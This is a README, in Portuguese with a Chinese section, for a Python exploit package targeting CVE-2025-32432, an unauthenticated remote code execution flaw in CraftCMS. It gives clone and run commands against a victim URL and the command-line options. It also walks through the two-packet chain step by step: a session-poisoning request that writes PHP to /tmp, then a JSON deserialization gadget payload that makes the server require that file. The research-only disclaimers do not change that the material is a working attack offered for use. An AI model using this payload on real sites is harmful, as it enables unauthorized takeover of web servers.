
Exploit em Python para CVE-2025-32432, um RCE pré-autenticação no endpoint de transformação de ativos do CraftCMS. Inclui uma cadeia de dois pacotes para executar comandos arbitrários de shell via gadgets de desserialização.
Execução Remota de Código sem autenticação para CraftCMS 3.x / 4.x / 5.x
Mantenedor do PoC: C.T.Y. (apenas para uso em pesquisa)
Descoberta da Vulnerabilidade: Nicolas Bourras – Orange Cyberdefense
Inspiração Adicional para PoC: Pesquisa SensePost & script público de Chirag Artani
Este repositório contém dois exploits Python complementares para CVE-2025-32432 — um RCE sem autenticação no endpoint de transformação de assets do CraftCMS.
| Script | Objetivo |
|---|---|
craftcms_rce_php_check.py | Sonda de segurança — envia uma requisição usando o gadget FnStream para verificar se PHP arbitrário é executado (imprime a saída de phpinfo()). Ideal para confirmação de baixo impacto. |
craftcms_final_payload.py | Exploit completo — cadeia de dois pacotes: primeiro implanta PHP via FnStream, depois utiliza o gadget FieldLayoutBehavior → PhpManager para executar qualquer comando de shell. |
O segundo script é o descrito ao longo deste README.
O primeiro script é incluído para completude e validação rápida, cortesia de Chirag Artani — veja Créditos.
O nome do arquivo foi adaptado para clareza; estrutura e ideia originais de Chirag Artani.
Apenas para testes educacionais e de segurança autorizados.
Usar estes scripts contra sistemas sem permissão explícita por escrito é ilegal e antiético.
assetId (heurística 404 → 302)-c/--cmd)pip install -r requirements.txt):
requestsurllib3# Clone o repositório
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Instale as dependências
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
Se vir a saída de phpinfo(), o alvo é muito provavelmente explorável.
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| Opção | Forma longa | Descrição | Obrigatório |
|---|---|---|---|
-u | --url | URL base do alvo (sem barra final) | ✅ |
-c | --cmd | Comando shell a executar | ✅ |
-a | --asset | assetId conhecido | ❌ |
-s | --scan-max | Limite de varredura (padrão: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> grava PHP arbitrário em /tmp/sess_<ID>.actions/assets/generate-transform com um gadget FieldLayoutBehavior → PhpManager força o CraftCMS a dar require() no arquivo de sessão, executando o código.{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId)phpinfo (craftcms_rce_php_check.py) e ideias iniciais de pesquisa
O nome do arquivo foi adaptado para clareza; estrutura e ideia originais de Chirag Artani.Aviso de Responsabilidade: Quaisquer riscos legais ou danos decorrentes do uso deste código são de responsabilidade exclusiva do usuário.
Licença MIT — consulte LICENSE.
| 檔案 | 用途 |
|---|---|
craftcms_rce_php_check.py | PHP 執行可行性檢查:單一請求,使用 FnStream 觸發 phpinfo(),以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。 |
craftcms_final_payload.py | 兩包鏈完整利用:先以 FnStream 植入 PHP,再透過 PhpManager 執行任意指令。 |
僅供教學與合法授權測試使用。未經授權操作即屬違法。
python3 craftcms_rce_php_check.py -u https://目標站
python3 craftcms_final_payload.py -u https://目標站 -c "id"
參數與英文版相同。
phpinfo 檢查腳本
此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。使用本程式碼造成之任何法律風險與損失,由使用者自行承擔。
MIT License